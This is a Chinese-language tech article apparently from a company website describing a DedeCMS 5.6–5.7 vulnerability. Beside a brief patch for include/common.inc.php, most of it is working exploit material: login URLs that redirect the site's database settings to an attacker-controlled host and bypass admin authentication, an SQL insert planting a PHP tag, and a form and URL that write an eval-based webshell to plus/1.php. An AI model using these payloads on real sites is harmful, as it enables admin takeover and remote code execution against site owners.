技术文章

了解最新公司动态及行业资讯

当前位置:首页>技术文章

织梦DEDECMS漏洞 免账号密码登录管理后台 方法和修复

时间:2021-08-07   访问量:1326

众所周知,因使用简单、客户群多,织梦CMS一直被爆出许多漏洞。今天小编在群里得到织梦官方论坛某版主可靠消息:DEDECMS爆严重安全漏洞,近期官方会发布相关补丁,望大家及时关注补丁动态。


入侵步骤如下:http://www.xx.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST@[GLOBALS][cfg_dbhost]=116.255.183.90&_POST@[GLOBALS][cfg_dbuser]=root&_POST@[GLOBALS][cfg_dbpwd]=r0t0&_POST@[GLOBALS][cfg_dbname]=root

把上面validate后面的字母改为当前的验证码,即可直接进入网站后台。

小编分析了一下,此漏洞的前提是必须得到后台路径才能实现,因此大家一定要养成使用DEDECM建站时改后台名字的习惯。下面给出官方的解决办法:


解决办法:

找到include/common.inc.php文件,把

foreach($_REQUEST as $_k=>$_v)

{

var_dump($_k);

if( strlen($_k)>0 && preg_match('#^(cfg_|GLOBALS)#',$_k) ):

{

exit('Request var not allow!');

}

}

换成


//检查和注册外部提交的变量

function CheckRequest(&$val) {

if (is_array($val)) {

foreach ($val as $_k=>$_v) {

CheckRequest($_k);

CheckRequest($val[$_k]);

}

} else

{

if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS)#',$val) )

{

exit('Request var not allow!');

}

}

}

CheckRequest($_REQUEST);

网传的都是说要知道后台才能利用,但不用,只要 plus 目录存在,服务器能外连,就能拿shell


前题条件,必须准备好自己的dede数据库,然后插入数据:

insert into dede_mytag(aid,normbody) values(1,'{dede:php}$fp = @fopen("1.php", 'a');@fwrite($fp, '');echo "OK";@fclose($fp);{/dede:php}');

再用下面表单提交,shell 就在同目录下 1.php。原理自己研究。。。

<form action="" method="post" name="QuickSearch" id="QuickSearch" onsubmit="addaction();">

<input type="text" value="http://localhost:8080/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />

<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />

<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />

<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />

<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />

<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />

<input type="text" value="true" name="nocache" style="width:400">

<input type="submit" value="提交" name="QuickSearchBtn"><br />

</form>

<script>

function addaction()

{

document.QuickSearch.action=document.QuickSearch.doaction.value;

}

</script>

====================================================

DedeCms v5.6-5.7 0day

其实除过windows系统,很多服务提供商是不让php连接外部mysql服务器的。


用PHPNow在本地搭建DEDECMS运行环境并安装DEDECMS,这里以DedeCMSV57_UTF8为例。


直接进后台:


dede/login.php?dopost=login&validate=8235&userid=admin&pwd=admin&_POST@[GLOBALS][cfg_dbhost]=192.168.1.1&_POST@[GLOBALS][cfg_dbuser]=root&_POST@[GLOBALS][cfg_dbpwd]=123456&_POST@[GLOBALS][cfg_dbname]=dedecmsv57utf8&_POST@[GLOBALS][cfg_dbprefix]=dede_


直接获得webshell:


进入自己在本地搭建的dede数据库,然后插入数据:


insert into dede_mytag(aid,normbody) values(1,'{dede:php}$fp = @fopen("1.php", 'a');@fwrite($fp, '<?php eval($_POST@[c]) ?>');echo "OK";@fclose($fp);{/dede:php}');


在地址栏提交以下语句即可获得一句话木马plus/1.php:


plus/mytag_js.php?aid=1&_POST@[GLOBALS][cfg_dbhost]=192.168.1.1&_POST@[GLOBALS][cfg_dbuser]=root&_POST@[GLOBALS][cfg_dbpwd]=123456&_POST@[GLOBALS][cfg_dbname]=dedecmsv57utf8&_POST@[GLOBALS][cfg_dbprefix]=dede_&nocache=true


上一篇:windows server 2008 iis 7.0 安装配置网站WEB服务器 iis上搭建网站详细图文教程

下一篇:如何设置 Windows 7 共享打印机



在线咨询

点击这里给我发消息 添加QQ好友

点击这里给我发消息 QQ在线沟通

在线咨询

免费通话

24小时免费咨询

请输入您的联系电话,座机请加区号

免费通话

微信扫一扫

微信联系
返回顶部